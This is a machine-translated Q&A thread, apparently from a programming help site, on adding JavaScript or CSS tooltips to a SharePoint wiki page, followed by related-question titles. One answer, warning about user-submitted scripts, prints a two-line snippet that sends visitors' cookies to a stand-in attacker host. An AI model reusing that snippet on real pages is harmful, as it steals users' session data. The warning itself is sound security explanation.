wikiの管理者として、どのようにしてSharepoint wikiページにスクリプト(Javascript)を入力できますか?
私はタイトルを入力したいと思います。そのタイトルをクリックすると、小さな説明が表示されます。私は通常、javascript、他のアイデアでそれをしていますか?WikiページにJavascriptを入力するには?
答えて
あなたはwikiの管理者であり、クリックではなくマウスオーバーでこれを表示すると仮定すると、JavaScriptはまったく必要ありません。まっすぐなCSSを使用できます。ここではスタイルやマークアップの例です:いくつかのより複雑なスタイルで
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
、あなたのツールヒントボックスを使用すると、好きなように素敵に見えることができます。
セキュリティリスクのように思えます。 wiki管理者がスクリプトをインストールする可能性があります。wikipedia's user scriptsを参照してください。
私はwiki管理者です – Aidenn
パブリックWikiのjavascriptコードを追加することはできません。自分でホストしている場合は、特定のWikiシステムを頼む必要がありますので、誰かが設定を変更するのを手助けすることができます。
このサイトのウェブページの一部としてJavascriptを使用することについて話しているのなら、それをすることはできません。それ以外の公共Wikiはセキュリティ上のリスクです。
コードサンプルの投稿については、テキストボックスの上にある「101010」ボタンをクリックしてください。
もちろん、あなたが話しているwikiエンジンに依存します。ほとんどの場合、sblundyによると、wikiページでjavascriptを無料で使用できるようにすることはセキュリティ上のリスクになります。
これは、使用している特定のWikiソフトウェアに完全に依存しています。私が仕事を見たのは、jsファイルを別の場所にホストして、src属性を持つスクリプトタグを組み込むことです。
これが許可されていない場合は、スクリプトを含むページに設定できるIFRAMEが許可されている可能性があります。 2番目の手法を使用すると、ホストページのDOMにアクセスできなくなります。
title="text here"
を任意のタグに追加します。ホバーするとテキストが表示されます。
alt="text here"
属性を使用すると、標準に準拠していませんが、Internet Explorerにテキストが表示されます。
私は現在テストしており、ウィキメディア(ウィキペディアが使用するシステム)に基づいて任意のシステムに<h2 title="some explanation here">headline</h2>
を追加できます。
wikiの著者が賢明なら、おそらくこれを行う方法はありません。
ユーザーが投稿したJavaScriptの問題点は、悪意のある行為者がすべての形の悪意のある人物が疑念のないデータを取得できるようにするということです。
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
今、私は自分のサーバー上のログに投稿された、ページへの各訪問者のクッキー情報を受信します:
はのは、邪悪な、私は公共のウェブサイト上でスクリプトをポストとしましょう。そしてそれはちょうど氷山の先端です。
私はCSSの答えが好きです。 Javascriptの代わりにCSSを使用すると、マークアップが簡単になります。
また、CodeplexのSharePoint拡張Wiki Edition用コミュニティキットもあります。ソースコードをダウンロードして独自の機能を追加することができます。または、これをフォーラムの新しい機能として提案することもできます。
- 1. wikiページのコンポーネントを一覧表示する - またはwikiページにレポートの出力を表示する
- 2. GitHub wikiページでMathJaxを有効にするためにJavaScriptを挿入するには?
- 3. yumlダイアグラムをwikiページに追加する
- 4. MediaWikiのwikiページにリダイレクト
- 5. Fossil wikiページにth1コードを含める
- 6. wiki `Home`ページのすべてのwikiページを一覧表示
- 7. wikiへのエントリの自動入力
- 8. MediaWiki wikiからページを完全に削除するには?
- 9. GitHub WikiをGitHubページに変換するには?
- 10. wikiライブラリにカスタムwikiページを追加できません
- 11. ページにJavascriptを挿入する
- 12. JavaScriptファイルをcshtmlページに挿入する
- 13. JavaScriptで入力を動的に入力する
- 14. SharePoint wikiページにWebパーツゾーンを追加する方法は?
- 15. スクリプト経由でRedmine wikiページを作成するには?
- 16. Google AnalyticsをGithub wikiページに追加
- 17. Javascript setTimeout入力を無効にする
- 18. JavaScriptがテキストボックスにキーリダイレクトを入力する
- 19. JavaScriptをinnerHTMLに入力する
- 20. ファイルアップロード()=による入力タイプにWebページ
- 21. javascript jQueryで入力を行うには?
- 22. JQuery/Javascriptの入力フォームフィールドに入力してロックする
- 23. powershellでwikiページを削除する
- 24. JavaScript Regexで入力に金額を入力できるようにする
- 25. JavaScriptでページの読み込み時に入力値を設定する
- 26. 入力をページにアペンドします
- 27. Javascript:入力に月と年を入力できますか?
- 28. ユーザーがページにJavaScriptを入力して他のユーザーと共有できるようにするには?
- 29. 非ユーザがwikiページを閲覧できるようにする
- 30. あるページから別のページに入力を渡す
あなたはwikiサイトの管理者ですか、それともユーザーだけではありませんか? – sblundy
それはすべてを変えます。あなたの質問を更新し、あなたのwikiプラットフォームを含めてください。 – sblundy
あなたはこの1つを 'html'とタグ付けすることもできます – Nate